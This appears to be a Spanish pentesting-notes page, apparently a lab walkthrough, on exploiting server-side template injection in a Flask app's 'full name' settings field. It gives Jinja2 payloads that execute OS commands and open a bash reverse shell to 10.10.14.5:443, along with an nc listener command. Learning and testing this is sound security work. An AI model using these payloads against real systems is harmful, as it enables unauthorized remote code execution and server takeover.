> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-flask-pentesting-web.md).
# SSTI Flask
## SSTI:
En el subdominio, encontrarás una **Configuración** pestaña donde puedes modificar la información del usuario administrador (nombre completo, fecha de nacimiento y teléfono).
Si, en el formulario "full name", intentas ejecutar un ataque SSTI, el servidor es vulnerable. Para probar esto con el `{{ }}`, comprobamos si interpreta el cálculo:
```python
{{1+1}}
```
Después, todos ejecutamos comandos (por ejemplo, `id`):
```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```
Descubrimos que está en el grupo `root`.
Realizamos una reverse shell para acceder al servidor
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"').read() }}
```
Iniciamos un listener en el puerto 443 en nuestra máquina atacante:
```bash
nc -nlvp 443
```
---
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